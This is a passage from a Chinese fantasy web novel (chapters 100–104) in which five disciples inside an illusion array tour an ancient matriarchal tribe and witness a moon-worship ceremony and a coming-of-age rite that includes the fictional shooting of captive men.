好在那边还有一张正常大小的石桌,边上铺了一圈皮毛茅草,是要席地而坐的意思。 大伙于是席地而坐,按礼和按理来说,都应有主人家送上茶水来,可惜这时候不是那时候,他们只是干巴巴地坐着。 黎巨也坐下来了,她坐在常曦边上,很明显比这桌上其他人大一圈,这人瞅瞅几位客人,忽然“啊”了一声,一副想起什么的模样:“常曦,你前几日说有远方的客人要来,难道就是她们?” 常曦默默地点了点头。 黎巨又问她:“她们来做什么?” 常曦默默地摇摇头。 “咳。”明易主动道,“我们只是凑巧路过,想留宿歇息两晚,并无其他目的。”话里话外其实就那个意思:我们是好人,大好人。 黎巨看了看明易,又看边上人:“是这样吗常曦?” 常曦默默地不说话。 黎巨:个_个(盯) 五人:OO(呆) 真是叫人沉默的沉默。 曾换月总是第一个受不了的:“哎呀,黎巨姐姐,我们真没有什么意图,再说这位……常曦姐姐都已经把我们迎进门了,肯定觉得我们是好人!对不对?” 石映心点头:“对。” “常曦不会出错的。”黎巨似乎是若有所思地得出了这个结论,点点头道,“好,那你们就待在这麻烦常曦吧,我要去忙了。”说着就站起身来,头也不回地往屋外走。 等门被没轻没重地关上,大伙都是松了口气。 石映心立刻就问:“黎巨说你前几日就预料到我们会来?” 常曦抬眼看了看她,点点头。 这就很奇怪了,她们两个时辰前才知道要入画的事情。 明易传密音:“也许要来的是别人,正巧被我们抢占先机。” 姬滢表示同意:“阵法会对入侵者的身份进行合理修正。” 黎为夏感叹:“原来是这样啊。” 石映心也接受了这个解释,于是继续问常曦:“这里是哪里?” “此处是羲和的部落。”她顿了顿又补充道,“我们跟随大酋长来到大此处,为与姬水人争夺这片山野草泽。战况已持续许久,这两日勉强消停……你们来得正是时候。” “啊?”曾换月一懵,“你们在打架啊……那、那不是很危险?” 常曦摇摇头道:“战场在远处的巨野地,不在这,此处还算安全;若是战败也来得及逃,几位可安心。” 考虑得还挺周到哈。 石映心又问:“大酋长是谁?” 常曦道:“大酋长黎贪,是黎巨的长姐。” “你的姐姐羲和是谁?” “姐姐是大酋长的得力副手,她与大酋长一样拥有天赐神力,力能扛鼎、能征善战,叫敌人闻风丧胆。族人们对二人皆是恭敬有加。” 石映心点点头:“那你呢?” 常曦平静地说:“我是族人的司命。” “你的卜术很厉害吗?”姬滢冒声问。 常曦看向她,点了点头。 “既然如此……”姬滢的眉头不知何时皱了起来,“你应该能算出此次战役的胜败?” 常曦微微摇头:“我只是族人的司命。” 翻译:没有这么大的本事。 曾换月咬咬手指头:“那个什么,虽然我不懂战争,但是打架总归是不好的……这个,能不能不打啊?” 常曦说:“我们不打,姬水人也要打来。” “……哦,那倒也是。” 场面又安静下来,大家似乎各有所思。不过一会常曦主动道:“来者是客,在姐姐回来之前,我带你们逛逛部落。” “好啊好啊。” 走出门,迎面就是广场,常曦便说:“这是部落的祭祀广场,每逢月圆之时我们便在广场上拜月;当晚族人们彻夜不眠,共同迎接圆月后的第一个日出,再祭祀我们的太阳。” 石映心问:“究竟是为了太阳还是月亮?” 常曦道:“没有什么不同。我们族的太阳和月亮都是世上最好、最厉害、最光明的。” 石映心:“……哦,是哦。” 黎为夏忍不住问:“你们、你们有没有……祭祀的日神月神?” “神?” 常曦愣了一下,脸上出现明显的茫然,神情陷入思考状。 明易传密音:“她们这时候可能没有这个说法。” 曾换月:懂了,翻译失败。 她吐槽道:“我就说嘛,刚才和他们说话,总觉得有些不对劲的地方。”原来是中译英……不,和上古时期的人对话,这难度是中译外星语的级别吧?难为这个阵法了。 五人本来已经做好了得不到答案的准备,但没想到常曦在超迟缓的反应之后,居然回过神来了:“大酋长……姐姐,都是神。” 她这么说。 几人不知道她们这时候对“神”的定义是如何,问也无从问起,只能憋在心里纳闷:“噢噢!是哦!” 常曦又说:“今晚除了月圆拜月之外,还有完人礼。” 石映心:“完人礼是什么?” 常曦不紧不慢道:“晚上几位便知道了,这是每年一回的仪式,你们来得正是时候。” 又一个卖关子的,行吧,那就等晚上。 常曦带着她们沿着广场走下去,走到几间紧挨着的房屋前道:“这些是我们的制陶房。” 制陶房就是做陶器的。常曦带她们进了一个其中一个屋子,里头摆着许多有些奇怪但都能当器皿的陶器,边上的桌上还有一些泥坯雏形,朴质的外表上似乎画着什么图案? 几人好奇地四处打量,石映心问能不能拿下来看看,得到应允后就拿了一个圆圆的盘子下来把玩,瞅见沿着盘边刻了一圈花纹,多是以倒三角为主;她转眼又看向边上的陶壶陶罐等,上头的花纹各式各样,但都有许多倒三角。 倒三角…… 好似在哪里见过? ……对了,是在进来前的围墙门上,那红色的图腾上也有倒三角。 石映心指着其中一个倒三角问常曦:“为什么有许多这样的图案?你们很喜欢?” 常曦瞅了瞅,颔首道:“喜欢。不过主要因为这是我们部落的标识物,也代表我姐姐羲和。” 说罢又想起什么,补充道:“当然也能代表大酋长,不过图腾有所不同。” 石映心听得云里雾里的:“为何能代表这么多人?” 常曦摇摇头:“只代表部落首领和大酋长。” 石映心便了然,相当于是掌门令?不过:“为什么要刻这么多标识在这些陶器上?” 常曦耐心解释:“一是好看,二能证明这些东西是我们的。除我们部落之外,还有一些由男子组成的小部落,偶尔他们会来我们这置换陶器,到时把他们要的陶器给他们,上面有代表这些小部落的图案。” “嗯?”曾换月凑过来,“是什么样的图案?” 常曦四处张望了一下,在大架子边上的角落里找到了一个大篓子,里头随意堆叠着形状有些歪七扭八的陶器,让人合理怀疑这些是残次品…… 她随手拿起一个陶罐,上头就没什么精美繁复的图案了,只是中央画了一个大大的……—— 作者有话说:一百章啦【】 100-110 第101章 “且?”曾换月瞪了瞪眼睛,“我咋认识呢?师姐,你看这是且字吗?” 明易在边上说:“也许只是同‘且’字相似,应有别的含义。” 石映心想想也是,便指着且问常曦:“这是什么意思。” 常曦目光澄澈地看着她:“这是口口。” 石映心:OO? 曾换月感觉耳朵被打了马赛克,怎么有听没有懂:“啊?这是什么?” 常曦又看向她:“这代表男子的口口。” 说罢不等她们再问,又指着石映心手上圆盘的倒三角说:“这是我们女子的口口。” 众人:O0O 其实她们根本也没听懂那个词是哪个词,但她这么女子的男子的一描述就是不得不往那方面想了啊!而且还真别说,这个且字确实有点…… 但……这是可以说的吗?可她们不只是说了,还画了这么多口口和口口在陶器上,一知道这寓意,多少有些骇人了。 “也许她们这时候还没有男女之防的训示。”明易麻木地传密音。 “哈哈,大师兄说得对。”曾换月很快反应过来。 其余三人也附和了几声。 “说起来……”黎为夏望向门外走过的两个人,“好像确实从我们进部落以来……就没瞧见一个男人?” 常曦似有些不解地看向她:“我们部落中为何要有别族的人?” “额,”黎为夏挠挠下巴,“他们是什么族的?” “不知道。”常曦说,“也不重要,总之是些无关紧要的小族。若不是还需他们为我们进贡阴·精,我们何须与他们交往。” 进贡……吗? 曾换月擦了把汗,心说原来这词还能放在口口前面啊。不过想想也正常,上古时期应是母系社会,女人当权时果真不执着于情情爱爱开后宫,而是把那回事当做生存需要了…… 据她所学有限的历史知识推测,现在应是黄帝炎帝蚩尤那个时候吧?听常曦她们的话里,似乎没有皇帝这类身份,那最厉害的应就是首领和大酋长了。看来“帝”是后人追尊的称号…… 所以问题来了,方才听常曦她们说的羲和、大酋长应都是女子,现在是母系社会因此才是正常的;但为啥她印象中的黄帝炎帝蚩尤都是男的?常曦方才说了那些男子的部落只是不值一提的无名小族啊。 这究竟是…… “换月?”师姐叫她,“你在想什么?走了。” “哦……来了!” 制陶房过去后有一片小空地,走近后能听见一些咻咻的破空声,原来是一群半大的小女孩正在对着一堆草靶子习射,说半大指的是年龄,其实瞅着和石映心她们差不多身量,但常曦说这些都是十二三岁的小孩,晚上便是她们举行完人礼。 她们好奇地旁观了会,黎为夏赞叹道:“你们族人都是善射的好手!” 常曦这会不谦虚了:“这是自然,我们族人大多身强体壮,孔武有力,自小便有过人的习武天分,不然也不配跟随大酋长;当然最厉害的还是我姐姐。” 天才石映心问:“她如何厉害?” 常曦微微笑道:“你们见了她便知晓了,她和大酋长是与众不同的。” 石映心点点头,心中很好奇:“哦。” 路过练射场,继续往下走,竟然瞧见一大片田地,正有人在期间劳作,曾换月感叹道:“这么早就吃上大米饭了?难怪她们长得这么壮实……” 常曦说:“这是大酋长赠与我们的粮食,别的部落可吃不上。” 大伙连连点头,说大酋长真好真厉害。 这时边上有个路过的族人,闻言笑道:“还要多亏了常曦观测天象次次都准,叫我们种粮食种得讲究又踏实,一回比一回收成好!” 常曦点点头:“应该的。” 走过田地,又是一片紧挨着的屋子,不过这回常曦没带几人进去,只是解释道:“这是我们的制盐房,事关机密,你们是外来人,不看了。” 大伙也不是少盐吃的人,安分地说明白明白。 别说这部落还挺大的,这么兜完一圈也花费了不少时间,最后还是回到了常曦的住所,她这有空房,可以给几人暂住。 那间屋子是挺宽敞的,住五个人也绰绰有余,不过…… 明易觉得还是分开住吧:“不知除此之外,还有没有别的空房?” 常曦看他:“要做什么?” 明易一愣:“我住?” “这屋很大,一起住也够了。别的空房没收拾。” 明易正想说没收拾也没关系,但曾换月在他开口前先道:“没事没事,我们就一起住好了,不麻烦姐姐你再找一个屋子了!” 常曦点点头说好,转头忙活自己的事去了。 等她离开,明易疑惑的眼神便落在了曾换月身上:“我不便同你们共住。” “哎呀大师兄——”曾换月往常曦离开的方向瞥了眼,谨慎地把几人拉进了屋里,这才松了口气道,“你没发现常曦她们看不起男子呀!” 明易顿了顿:“是。你的意思是她觉得我不配单住一个屋子?” “不是!”曾换月圆溜溜地眼睛看向大师兄,嘴角莫名翘了一下却又被她压了下去,就听她一本正经道,“我觉得她们是把你当做女子了。” 明易:。 “欸欸!”黎为夏眼睛一瞪,“有可能哦!长得也很像嘛。” 明易:…… 姬滢也有些赞同地点头:“确实,这族人都比较粗犷,也许看我们都是细皮嫩肉的,没有区别。” 明易:…… 石映心笑了笑:“大师兄很漂亮。” 明易:……好吧。 他很难不心情复杂,这时又听小师妹出主意:“大师兄你就瞒着呗,要是被她们发现你是男子后把你赶出去怎么办?” 明易觉得这简直太有可能了,抿了抿唇,无声把头点了点,算是同意。 事情就这么草率地决定了。 好不容易有了集议的时间和条件,五人坐在草地毯上商量计划。曾换月头大道:“我们是来找阵魂的,跟这个部落有什么关系啊?难道阵魂是这个部落里的族人?” “很有可能。”姬滢说,“若是如此,阵魂的心结应是将要失败的战役。” “也对。”黎为夏叹了口气,“战败才有心结。而且这场战役似乎在我们琼华宫的古画上略有记载?但我小时候只是看着玩的,实在是记不清,要不然兴许还能提供一些线索,嗐……” 曾换月就非常感同身受啊,拍拍她肩膀叹道:“没事啦没事啦,书到用时方恨少,这是人人都会遇上的窘境。” 黎为夏:“唉。” 曾换月:“唉。” 姬滢:“唉。” 另二人:OO 明易根据现有的线索推测道:“如果阵法中的一切皆是许久前真实发生的过往,那你们琼华宫和天机阁的先祖难道是同源共流?” 姬滢与黎为夏对视一眼,神情有些出奇的相似,绝大多数的不可置信,和小部分虚无的触动。 石映心忽然说:“黎为夏,黎巨,黎贪。姬滢,姬水人。” “不对啊。”曾换月想起来了,“常曦明明说姬水人是敌对方吧?” 姬滢默了默:“可常曦确实是我们供奉的月神之一。” 石映心:“之一?” “嗯。”姬滢颔首,“古往今来,有关于月亮的神话传说数不胜数,它们相互纠葛、交织,相悖又关联;古籍上的记载、人们的口耳相传,交杂糅杂相互龃龉,我们天机阁不过是重做整理、择善而从罢了。” 她的脸上带着一抹静谧的神圣:“不管是占月观星的常曦;射天狼、食仇敌之肉的东君;亦或是掌管不死药的西王母……只要是月亮接纳的女神,便是我们天机阁崇祀的月神。” 众人听罢,都有些感触。 石映心想起大师兄的话,“人们祭祀的也并非某位具体的神,而是神格”,神格是怎么回事呢?她到如今也是一知半解;只是看姬滢波澜不惊的眼中,感到她深深的信念,隐约觉得那是一个比“神”本身的存在更重要的东西。 她好奇。 而如今她们的神近在眼前,常曦、羲和,还有大酋长……在她们的身上是否存在能为她解惑的答案呢? “不管如何,”大师兄道,“等见了首领再说。” 见众人点头,他站起身来道:“几位暂作休憩,我去问问有没有书籍可供查阅,或许能看懂一些她们的文字。” 看书这事大概是他的癖好了,大伙并不争抢,就是曾换月贴心提醒道:“大师兄,注意你的身份哦!” 明易很快明白,默默点头算是应了一声,瞧着还挺接受良好。 她们把这间宽敞的屋子上下左右地搜查了一番,没发现什么特别的;这一路走来有些疲累,于是便商量着先休息会,等晚上羲和回来再谈。 床榻很大,但只是铺在地上的植株枝叶和兽皮,睡起来有窸窣的动静。石映心躺在师妹边上阖眼休憩片刻,感到师妹睡了之后就起身出去了。她来到外室,没瞧见常曦,出门一看,外头的太阳已经不再热辣,但依旧明亮。 不知为何……她望着就在眼前的祭祀广场,心中有些小小的蠢蠢欲动,可动起的情绪是什么?又想不明白。 世上有许多她从未照过的情绪,往往是复杂和陌生的,让她迷茫又无法言状。 比如姬滢她们对月神的崇拜。 比如常曦见到她们时…… 这就说不出来了,总之不是高兴也不是悲伤,整体是很平静的清汤寡水,但喝的时候又咀嚼到软塌塌的米粒,有一种不值一提的、很微弱的期待。但始终是让人提不起兴趣的清寡。 常曦在想什么呢? 第102章 迎面走来一个人影,石映心定睛一瞧,正是方才离开的常曦,只见她双手捧着什么,不紧不慢地踱步而来,离得近了就看清了,居然是一个圆形的青铜器皿,上头深深浅浅地刻画着许多图纹,石 映心看不懂就随便瞅个大概。 站着不动等她过来了,石映心就问人家:“这是吃饭用的吗?” 常曦摇摇头:“吃饭何必用铜器。” “那这是什么?” “这是我占月卜卦的宝器。” 传入石映心的耳朵里,用她们的话是这么说的。 宝器?“我可以摸一摸吗?” 常曦认真道:“你要小心。” 石映心没拿过来,只是搭着她的手摸了摸,想要感受一下她的宝器上有没有什么灵气……但摸来摸去也没什么特别,又见这青铜器皿有个盖子:“我要打开了。” “嗯。” 她捏着那个鸟头盖珠将盖子掀开,恍然被一道光晃了眼,定睛一瞧,里头是满满当当的水,恰好盖子盖上不会溢出的程度。 只装了水吗?石映心探去脑袋,在水面上看见了自己的脸,不知为何,她问了一个有些莫名的问题:“它叫什么?” “口口。” “什么?” “口口。” “……哦。”石映心把盖子盖上。 听不懂。 * 夜色将要降临的黄昏,大伙在屋里听到外头有一阵动静,正想着要不要出去看看,就见常曦从地下的屋里走上来说:“姐姐回来了。” 羲和回来了? 大伙下意识站了起来,没有多想就跟着常曦出了门,往动静传来的方向一看去,在簇拥的人群中一眼就瞧见了传说中的羲和。 这不多亏了她们的眼神好,纯粹是因为羲和太显眼了,部落的族人们本就比她们要高大些,而羲和比族人还要高约半个人,她是一个真正的巨人,粗狂野蛮、骨如铜铁,皮若刚石……没错,和黎为夏变身后的模样有许多相像。 族人们簇拥着她,像是小孩簇拥着大人。 她们望望远远走来的羲和,又瞅瞅边上瞠目结舌的黎为夏,神情都有些奇异。 曾换月传密音:“为夏,你看她是不是你们的日神啊?” 黎为夏:O0O(目瞪口呆失言中) “很像。”石映心道。 曾换月也觉得:“嘿嘿,为夏你是不是很激动?” 激动吗?黎为夏也不知道,她的情绪很不知所措。远远的神在天上,在弟子们的心中,于是崇高而神秘。她们祭祀、祈愿,渴求在浩荡天地中得到缥缈的回应,这样便满足;如今神在眼前……就算是巨人,仿佛也只像人了。 姬滢瞅她的神情,其实有些感同身受,可这样的感觉不能说。 羲和走近了,边上的族人自觉散开,最后是她一人来到了常曦的面前,刚站定就把腿一迈,没啥形象地蹲了下来,朝几个陌生人抬了抬下巴:“常曦,她们是谁?” 她蹲下来后,和她说话就不用抬头了,常曦简单交代几人的身份:“过路暂住的外乡人。” 明易有眼力色地率先问了好,大伙紧跟着介绍了自己。 羲和点点头,她看起来不是很在意几人,态度也不是很热情,只是有些回应罢了。进了屋中,曾换月见她坐在了那张快到她下巴的桌子边,拿起一旁的陶水缸喝水,心想难怪难怪啊…… 等客套的寒暄过后,羲和就和妹妹说:“大酋长已经决定明日再次进攻姬水人,这场战役拖得太久,实在叫人心烦。” 常曦点点头:“嗯。” 两人说这事的语气都很寻常,大伙推测这样的进攻应有许多次了,但显然效果不显著,没有分出明显的胜负来。 羲和盘腿坐着,双手搭在膝盖上:“常曦,你帮姐姐算,此战能否赢下?” 常曦摇摇头:“算不来。” 羲和:“哪里算不来?你算大酋长,或是算我。” 常曦摇摇头:“算不来。” 羲和眨眼道:“今晚祭月,月亮庇佑你,你的卜术会更厉害些,再加上你的宝器……” 常曦:“算不来。” 怎么说都是这个答案,羲和苦恼地抓耳挠腮,但又拿妹妹没办法,面色有些纠结。外乡人们本来只是很安分地、默默地听她们说话,但姬滢却一反常态道:“我也会些卜术。” “哦?”羲和首次给了她一个正眼,“你会吗?” 姬滢点点头。 羲和终于打量起五个外乡人,主要还是姬滢,一一看过后她笑了下道:“咦,你们同我妹妹一样瘦小。” 石映心:“只是对你来说。” 羲和:“你们同姬水人一样的身量。” 黎为夏抓了抓脸。 明易:“我们并非从姬水来,归属的不过是个无名小部落。” “我知道。”羲和点点头,“她们也没你们这般细皮嫩肉的。” 大伙再次感谢姬水人的粗糙。 羲和又看向姬滢道:“对了,方才你说你叫什么?” “姬……咳。”她飞快地咳一声,“石滢。” 石映心:OO “石滢。”羲和点点头,“那你算算,此战何时结束,又是谁胜谁败?” 姬滢无声地点了下头,手心一翻变出罗盘来,她的罗盘还没修好,这是姬漓借她的。石映心和罗盘上的蜥蜴骨对上目光,眨眨眼算是问好。 姬滢的手心浮起灵光,引得罗盘咻咻转动。明易隐秘观察着那二人的反应,见她们面无惊异,猜想她们也有类似的“仙法”。 也是,毕竟是神。 铮—— 罗盘停下,蜥蜴骨的小脑壳对准了羲和。姬滢抬起眼来,脸色丝毫未动,语气也很平静:“战事很快便要了结,你们输了。” 静—— 曾换月死死抿着唇,瞪大眼睛盯着面前的桌子,心里在尖叫:不是姐们你真说实话啊!! 明易觉得这会应该解释些什么狡辩一下,但姬滢话说得太快,他还没想好;黎为夏早就大脑放空了,也不知道她在想啥;小师妹其实很担忧,心说这搁在哪个暴君身上就要砍头了,羲和不会也发火吧…… 只有石映心贴心地说:“那就不打了。” 大伙发愣地看着她,又听她问:“这是不是叫及时止损?” 几人:…… 曾换月苦着脸扯扯她师姐的衣袖:“事情没有这么简单啦师姐……” 她话音未落,就听羲和就一本正经地对石滢道:“你算错了。” 姬滢抬眼看看她,又把眼皮合下来:“没有。” 羲和:“我妹妹都算不了,你如何算得出来?难道你比我妹妹还厉害?” 姬滢就不说话了。 羲和看向妹妹:“常曦你说如何?” 常曦也不说话。 该说话的不说话,不该说话的石映心:“说了你也不信。” “……” 她皱起潦草的眉头,单是这一个简单的动态就让她的脸变得好吓人,就见她那双深邃却似野兽的眼眸一一划过几人,一双牛目神似生气的野牛。不过野牛只是哼了一声粗气,站起来哞道:“我去看看广场上准备得如何。” 然后就大摇大摆地出去了,甚至还不摔门。 曾换月狠狠地松了口气,忽然觉得羲和的脾气真是太好了。 她们透过被打开的门瞧见,外头已经是微微亮的黑夜,广场上有些错落的火光,晃过一道道人影,风声带来稀碎的话语。 姬滢收回视线,又说了一句:“会输的。” 常曦坐在那,姿势好似一直没变过,她突然前言不搭后语道:“其实世上只有一个太阳和一个月亮。” 大伙呆了呆,心说这是当然的啊……原来你知道啊? 可曾换月看常曦的模样,让她想到那个谁发现地球是自转一般荒诞。 又听常曦说:“大酋长和姐姐,要把日月占为己有。” 简直是天方夜谭。 曾换月苦哈哈道:“别这样嘛,大家一起享受不好吗?世上能照到日光和月光的地方这么多,哪里需要抢呢?” 常曦摇摇头道:“我们要能照见日光的田地,要能沐浴月色的住所,还要许多炼出铜铁的石头,以及可以制盐的河流……” “要猎更多的食物,要长得更高,生更强壮的孩子;要把我们的图腾刻在世间能到达的所有地方,让大酋长和姐姐的名讳代代流传……就像太阳和月亮一样,永不消亡,受人仰望,无可取代。” 大家被她冷漠而坚决的语气震慑,一时哑口无言。 只有镜灵问:“这么做有什么意义?你们都会死的。” “你错了。”常曦斩钉截铁道,“我们永远不会真正死去,永远会卷土重来。日月照临的始终是同样的生灵……这是不变的太阳和月亮告诉我的,难道你们不明白吗?” 明易:轮回转世? 曾换月:能量永恒? 不管如何,这句“明白”是答不出来的。常曦似乎也不在乎她们的答案,说完话后就去了地下的屋子。 “常曦一定知道她们会输的。”黎为夏有气无力地说,“既然知道,为什么还要打呢?” 石映心:“羲和不信,大酋长一定也不信。” 曾换月:“太自信了所以才不信。” “也许我们替她们想得太多了。”明易道,“在这个时代,争夺资源,拓张领土,活得更结实……才是她们应该考虑的。我们八大洲的和平共处夹杂着太多因素,而这些因素现在没有。” “有一样东西都有。”石映心说。 “是什么啊师姐?” “野心。” 曾换月立刻很有体会道:“哇你别说,她们的野心大得有些离谱了!还 要占据日月诶!” 黎为夏冒声道:“这也很正常啦。我师父说占据领地是动物的野性本能,越是以前的人越有这样的野性……如果说形容人,便是野心了吧?” 石映心记得书上对“野”字的诠释是:巨大而非分的欲望。其实每个人多少都有野心,她也有;不过似乎达不到“巨大”和“非分”的程度,于是她便好奇,在这样野蛮野性的羲和身上,野心会是怎么样的感觉呢? 能叫人明知失败也要去做的野心……总不会是侥幸。 屋外传来一阵喧嚣。 第103章 月色降临。 拜月仪式和完人礼将要开始。几人不管如何都要去一探究竟,好奇而谨慎地出了门,正巧看到她们沿着广场点燃了一圈的火把,火光一瞬间蹿起。 月亮不遑多让,巨大一个挂在那,不像是在天上,仿佛只是人们捧起来的明珠,竟比所有的火光都耀眼。族人们的脸被月色照得银白闪亮,双眼中腾飞着跳跃的火苗,映出一副奇异的神情。 月光交织着火光,天地明亮如白昼。 黎巨不知从哪冒出来,朝她们招了招手:“喂,你们几个过来啊。” 五人回过神,往广场有些恍惚地走去。圆形的广场内,圆形的火把圈,火圈里的人簇拥了一个圆形的内围,中间的空余似乎是将要上演戏曲的舞台,族人们兴奋地叽叽喳喳着,也有人在呐喊鼓舞。 “你们看,”石映心传密音,“黎巨腰侧佩戴的是剑。” 她们纷纷看去,还真是一把剑,不过做工很简略,只算有个形态罢了,上头的花纹倒是很多。 “应不是所有族人都有佩剑,”明易推测,“也许和她们在部落里的地位和自身实力有关。” 她们这一天见得最多的是铜矛,还有就是弓箭,偶尔也看得到石矛。常曦说她们想要更多能炼出铜铁的石头,看来这些材料对她们来说很重要。 也是,毕竟是武器的重要组成部分。 黎巨在前头开路,领着她们挤进人圈前排,几人因此看清内里的情景—— 约有二十个拿着弓箭的少女,她们在边上站着一起往某处看去;跟随她们的视线,瞧见广场中央有一个烧着火的青铜鼎,火势很足;青铜鼎的边上有二十多个被一条绳子绑在一起的人,他们紧紧挨着彼此,局促而恐慌地打量着周遭,有一人视线乱飞,不经意和明易对上了视线。 “这是什么意思?”明易问。 “看起来像……”姬滢顿了顿,“祭祀。” “这些都是犯了罪的异族人。”黎巨贴心解释,“能在今日派上用场,也是他们的荣幸。” 说罢不等几人多问,她大摇大摆地走上前去;与此同时在另一边,常曦和羲和也相伴入场,不过她们是走到了青铜鼎后的高台子上,高出所有人一大截,确实是个看戏的宝座。 显然羲和根本不需要,能登台子这只是她首领身份的象征。 这会羲和站在高台上,下方立刻安静许多,此情此景让石映心想到摘星大会时掌门师公的例行开场发言,真是无聊得很;好在这时候还没有如此惯例,就见羲和只是把手一举,用她嘹亮的声音喊了一声几人听不懂的词,应该是“开始”之类的意思,反正人群紧接着就欢呼起来,欧咦阿依地叫着。 这些陌生的语言让人无所适从,此起彼伏的一声又一声如海浪般冲刷着她们的神识,明明深处其中却又觉得恍若隔世。青铜鼎的火光将黎巨的背影照出浓重的色彩,就见她拔剑一挥——斩断了那些男人身上的长绳。 他们似乎愣了一会,很快就像大难临头的鸟儿猛地开跑,有些人还腿软,没几步就摔倒在地上被踩了几下。 黎巨对这些乱飞的鸟儿无动于衷,她稳然不动地剑收回腰间,接着转过身来,一步一步、不紧不慢地朝她们走来。 正在此时,无数箭矢从她身边穿梭而过,是方才那些拿着弓箭的少女们,她们迈着轻快的步子在广场上奔跑,一边射箭一边飞跃,像穿梭在林间嬉戏的小兽,有些异样的活泼。 箭矢去往何处,何处就传来男子惨烈的尖叫;若是一箭毙命是好的,但多少也有被射中腿或是手或是哪里,一边逃跑一边在地上乱画。 少女们射死一人便会停下,贴心地给伙伴们留人头,只高高地举起弓箭,引来边上族人们的欢呼。 黎巨在这样的箭雨中很从容自在,仿佛并不担心自己会被乱箭射中,事实上也没有,少女们的准头都很好。她朝她们走近,转身要加入人群的时候竟露出一个藏在她背后的男人,那人神色可怖又可怜地朝明显是外族人的五人说: “救我——” 曾换月倒吸一口冷气,满鼻子的血腥味。不等她呼出这口气,一支箭矢从侧方飞来,开准狠地射中了男人的脖颈,竟还陷入了几寸,可见力道之大。男人瞪大眼睛,捂着脖子倒落在地,离她们的脚尖不过一臂距离。 不知道是谁的箭,其实也不重要,族人们照样欢呼起来,黎巨贴心地伸脚把尸体踢远,让他融入广场那一堆横尸之中。 曾换月僵硬地看着这一幕,说害怕也算不上,只是心中麻麻的。 这里是阵法境界,这一切是假的……不,或许曾经是真的,这样的真实难道少见吗?不过是换群人罢了。如今她在这里,她在欢呼声中,她似乎成了这群人,因此感到一种恐怖的心安。 广场上飞逃的鸟儿越来越少,他们往哪里逃呢?箭矢、人们、火把,广场……一圈一圈将他们困住,无处可逃。 痛喊淹没在欢呼声中,血色没有火光耀眼。越是混乱越是热闹。 有人大胆包天地跑到青铜鼎前,不惧火势地爬上去,双腿打颤地站在上头大喊道:“你们、你们这群邪恶的女人——” 下一刻便有一只箭矢从他的胸膛一穿而过,仿佛只是用刀割破一张薄纸,“铮”地刺入地中,竟然就这么立着了,像是一条墓碑。事实是这些人根本不配被立碑纪念,不过是些不值一提的猎物。 最后的这个男人倒落在青铜鼎中,火势瞬间高高地腾飞起来,如此也算是废物利用了。 罪魁祸首杀人压根没用上弓,只是随手捡起地上的箭矢一扔。这骇人的实力自然来自羲和,她这会依旧懒散地盘腿坐在 高台上,方才应是顺手而为的。 好了,现在异族人都死光了。瞅族人们的兴致,这只是个开胃菜,所以接下来是什么? 就见少女们欢脱地跑过去,单膝跪成一排,个个都是昂首挺胸着,似乎在等待接受什么荣誉。她们的周遭是一些还没被收拾的战利品,血色大地被火光照得通红。 常曦不知何时从高台上下来了,她手中拿着一个类似烙铁的长柄铁器,烙铁头是个三角形,上头似乎有些刻印。 只见她先是将烙铁头在刚烧死过人的青铜器上烧了烧,将三角铁烧红了;接着双指竖起,在空中画了一个阵法(?)往三角铁上一送,上头立刻迸发出更大的红光。 石映心等人第一次见常曦用“法术”,皆是看得目不转睛,十分好奇她拿着这玩意做什么。 常曦拿着烙铁来到跪成一排的少女们面前,先是垂下眼睛朝她们微微颔首,轻启双唇说了什么,反正石映心她们都没听清;接着她就抬起烙铁,从容不迫地将三角铁贴上了其中一个少女的右胸膛。 五人:OO! 不是,刚刚杀异族人就算了,现在对自己人下手也这么狠?? 五人皆是呆若木鸡,吃惊得连传密音都忘了;黎巨听到木鸡们纷纷倒吸一口冷气的声音,才想起来解释一番:“吓到你们了?没事的,孩子们的胸膛上都绑了护具。” 果然,那些被常曦“施刑”的少女们没有一个面露痛苦的,甚至在三角铁移开后,还很兴奋地和司命姐姐道谢,然后低头去看胸前的印记。 曾换月回神来:“护具?” “对。”黎巨点点头道,“射杀猎物,烙印图腾,接受月亮的祝福。这便是她们的完人礼。” 石映心问:“为什么这样才算完人?” 黎巨目光如炬地望着常曦她们,这边也耐心回答着:“射杀猎物,说明她们已习得箭术,有生存和保护部落的能力;烙印图腾,是部落承认了她们的身份,从此她们将肩负我们羲和部落的荣辱……除此之外,这也和一个传说有关。” 黎为夏隐约有些印象,连忙问:“什么传说?” 黎巨道:“传说许久以前,那时人们连蔽体的衣物都没有,更别提像样的武器,因此射猎十分困难。族人们为了习射和更好地射杀猎物,把右·乳烧掉或割去……” 老天奶! 大伙听得头皮发紧。 “去一乳为了生存,留一乳为了哺育,”黎巨的语气听起来平稳而坚定,“先祖们好战、勇敢,永远是后世的榜样。不过现如今我们已经精进了武器,大酋长又炼制出了护具,如此便让族人们免受割·乳之苦。不过先祖们的精神不可忘怀,故有此仪式。” “没错没错……”曾换月擦了擦冷汗,表示赞同,“只要铭记精神就好了,哈哈……”论科技发展的重要性。 在少女们的护具上烙印上图腾之后,这一流程便算是完成了。 常曦将烙铁放下,捧起高台上的什么东西,转身朝广场中央的青铜鼎走去,羲和从高台上跳下来,两三步跟上她。 曾换月瞪大眼睛瞅:“咦,常曦手上那个器皿是什么?” 石映心:“她说是口口。” 曾换月:“什么?” “口口。” “……”到底谁给她耳朵打码了! 常曦同羲和来到青铜鼎前,后者踢开前边两具横尸腾出一片空地,就这么盘腿坐下了。 常曦面对着她站着,因此比她姐姐稍微高一些。她一手捧着青铜器皿,一手将盖子打开。石映心记得里头只是普通的水,器皿也平平无奇。但这会却见那水从器皿中飘了出来,如鱼儿一般在常曦面前游来游去,不一会儿似乎不满足,忽然加快了速度,四处在广场上乱飞。 族人们见它飞近,都会激动地笑起来,有些伸手去抓,但每回都被它躲过。 曾换月稀奇地问:“这是什么?” 石映心:“我记得之前见时只是普通的水。” “这是月亮的孩子。”黎巨说,“是随着司命诞生的神物。” 什么玩意? 曾换月感到脑子一片糊涂,恰巧这时那水飞到她们面前,兜了五人一圈后停在了她师姐面前。 石映心虽然不知道这水的眼睛在哪,反正就这么和它对视着,心里感到水泠泠的,有一些无情无绪的平静。 蓦地见那水朝她扑来—— 她下意识闭上眼睛,只觉整张脸冷了一瞬,有什么从她的七窍中溜了进来,她急忙睁眼,却见这怪水已经离去。 方才发生了什么? 石映心看看边上的大师兄,又看看小师妹,二人皆是一脸寻常。 还是…… 什么都没发生? 第104章 皓月当空。 她们才发现,在这水乱跑的时候,常曦已经绕着羲和在地上用法术画了一圈阵法,此刻羲和坐在其中,整个人被灵光照亮。她的身后便是硕大的月亮,有这背景的加持,巨人显得有些神圣。 